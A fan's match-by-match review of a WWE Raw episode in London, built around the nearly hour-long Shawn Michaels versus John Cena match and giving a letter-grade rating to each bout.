Location: Earl’s Court, London, England
Attendance: 12,000
Commentators: Jim Ross, Jerry Lawler

This is back in England and it’s being reviewed for one reason: this is the Cena vs. Michaels hour long match which is more or less the match where Cena proved that he was in fact not human. Other than iron man matches, I think this would be the longest match in modern company history unless I’m overlooking it and it’s nearly 5am so I probably am. Let’s get to it.

Here’s Shane to open things up. He says that he’s here for a fight but not with Lashley due to what happened last week. We get a video of the Milan Miracle, where a “fan” named Santino Marella came in for an IC Title match with Umaga and won the title with a little help from Lashley. This is fallout from Mania where Lashley beat Umaga and caused Vince to lose his hair.

Shane talks about how a fan is going to get a chance to face a dragon, just like St. George since it’s St. George’s Day. It’ll be a No DQ match. The manager of Chelsea Football Club is here but it won’t be him. Shane brings out Robbie Brookside who was a pretty big deal, teaming with Regal for years and competing in Japan as well. He had a cup of coffee on Nitro as well I think. Regal has said that without Brookside there wouldn’t be a William Regal, a Finlay, a Wade Barrett or a Sheamus so take that for what it’s worth.

Robbie Brookside vs. Shane McMahon

This is No DQ. Shane takes him down with a headlock and works on the back with elbows. Total squash so far as Shane knocks Brookside down in the corner. Shane sets up the Coast to Coast and drives the garbage can into Robbie’s head. Robbie is out cold so Shane says this is a handicap match and brings out Umaga to be his partner. Umaga hits the running hip attack and a top rope splash but Shane brings out Vince to make it 3-1. Apparently this is the go home show for Backlash which is a show I haven’t done yet. Vince is in a suit and hat but he gets the pin.

Rating: D. The idea makes sense but there’s no entertainment value to it for the most part. Shane is always cool to see and further emphasizes how bad Garrett Bischoff is but there wasn’t any interest here. Brookside took a beating which was expected but the fans didn’t really seem to care about him.

We get a clip from Wrestlemania where Cena beat Shawn. That means it’s time for a rematch on Raw three weeks later right? Tonight’s match is non-title.

Matt Hardy vs. Trevor Murdoch

The Hardys are Raw tag champions. Todd Grisham is doing ring announcing for no apparent reason. Murdoch takes him into the corner easily and throws on a headlock. Matt comes back with a fist drop for two. He goes up but gets pulled off the middle rope as Murdoch takes over again. Off to a sleeper but Matt breaks it up and hits a forearm. Side Effect gets two. A middle rope Fameasser gets two and Cade pops up on the apron for a distraction. Murdoch hits what was supposed to be a Canadian Destroyer for the pin.

Rating: D. This didn’t click at all. Jeff was at ringside but didn’t do a thing at all. There wasn’t much to see here as it was a short match on top of being bad. Murdoch was pretty good at times but at other times he was your old Texas cowboy kind of guy which isn’t interesting a lot of the time. Bad match.

Video on the Condemned.

Melina vs. Maria

Both girls are looking GOOD here. Melina is Women’s Champion but it’s not on the line. Grisham talks very slowly. Melina beats her up and after the quick comeback from Maria, a facejam ends this. It’s amazing how much better looking these girls are than the current crop of Divas.

Carlito is getting ready in the back and Flair says let’s go. This was a mentor/mentee thing.

Carlito vs. Great Khali

Carlito comes out alone, minute Flair or girlfriend Torrie. He tries to speed things up but gets run over by a Khali shoulder block. Carlito tries the legs and then the eyes. He goes up top but his missile dropkick misses. Chop, Plunge, pin.

Flair comes out post match and Carlito yells at him in Spanish. Naitch leaves in a huff.

Mick Foley talks about a Make-A-Wish kid that made the main event for Backlash which was a fatal fourway. One of the four is Edge who pops up and says he’ll win on Sunday.

Another video on the Condemned.

Shawn runs into Cena and nothing of note is said.

Shawn Michaels vs. John Cena

There’s almost an hour to go in the show so you know this is going to be something good. Shawn works on the shoulder to start but Cena counters with a headscissors into a stalemate. They do the exact same sequence and then try it again, but Cena goes for a drop toehold which Shawn escapes. Another STFU attempt sends Shawn running to the ropes. Cena is very pleased that he got that close.

Cena tries to grab the leg this time but Shawn makes the rope. They get in each others’ faces and it’s a slugout. Back from a break and the fans are getting way into this. Cena takes him down with a headlock instead which lasts for a good while. A big clothesline takes Shawn down and it’s chinlock time. Shawn pops back up and is immediately clotheslined back down.

Sweet Chin Music is avoided and the FU is countered by Shawn heading to the floor. We take another break and come back to Shawn getting in a shot in the corner. He’s mostly the heel in this but it’s not full fledged. They speed things up and Cena hits a World’s Strongest Slam for two. Release fisherman’s suplex gets two. Throwback gets two. They slug it out and Shawn counters a suplex into a neckbreaker for two.

Another slugout results in the flying forearm by Shawn. He nips up and hammers Cena down and goes to the corner for the elbow. It hits but instead of covering Shawn stomps the mat for the Chin Music. Cena ducks and Shawn grabs a quick backslide for two. The shoulder block misses and Cena may have hurt his shoulder on the crash to the floor. Shawn dives over the floor but Cena catches him in mid-air and slams him into the steps.

Back from break #3 and they’re both in the ring again. It should be noted that we’re probably half an hour into this and Cena looks FINE. He doesn’t look tired, he doesn’t look winded, he doesn’t even look sweaty. That’s almost scary. Cena charges into the post and Shawn has a target. He hooks a combination hammerlock/abdominal stretch on the mat before driving in some knees on the arm.

Cena shrugs off most of it and starts his finishing sequence, taking Shawn’s head off with a clothesline. The Shuffle hits but the FU is countered into Chin Music attempt into the FU for a VERY close two. We take another break and come back with Cena throwing Shawn to the floor. Cena rams his back into the post and we head back inside. Delayed vertical suplex gets two.

Bearhug time which is proof we’re in a big match as you almost never see a face use one of those. Shawn fights out of it but gets thrown over the corner and out to the floor. Back in Cena hits the top rope Fameasser which seems to be a new move for him. They go to the corner for a superplex but Cena instead tries an FU off the top, which Shawn counters into a powerbomb off the top to put both guys down.

Out to the apron and Shawn knocks him face first into the announce table. The look on his face says THAT REALLY HURT! Out to the floor and Shawn loads up a piledriver on the steps but Cena backdrops him onto the floor as we take I think break number five. Back with them on the announce table and Cena is all fired up. Back inside Cena hooks the STFU but it’s not cranked on perfectly.

Shawn makes the rope and we cut to some cheering girl in the crowd. Shawn looks a bit dead but Cena is waiting for the FU. Shawn pops up with the Chin Music but Cena tries the FU again. That gets reversed and Chin Music hits for a very delayed two. They slowly get up and Cena tries the FU again but Shawn slips down the back and hits the second Sweet Chin Music for the pin at 55:49. Unless there’s some house show match that I don’t know of, that’s the longest regular one on one match in the WWE/F since 1981.

Rating: A-. It’s certainly not a masterpiece or even anything close to one, but considering they just went an hour, you have to give them bonus points. Cena looked fresh as a daisy 40 minutes into this which is more proof that he isn’t human. This is also a loss that doesn’t hurt Cena because it wasn’t like he got beat but rather that he got caught. Very good match and the time aspect of it is remarkable. This match is on the Heartbreak and Triumph DVD.

Shawn puts the title on Cena’s chest post match and crotch chops him to end the show.

Overall Rating: B. To say that this is a one match show is an understatement but when it’s a great match like this on free TV, you can’t complain at all. Good stuff here and while it didn’t really build up Backlash that well, it’s still great with one match that is the first of its kind in over twenty five years.

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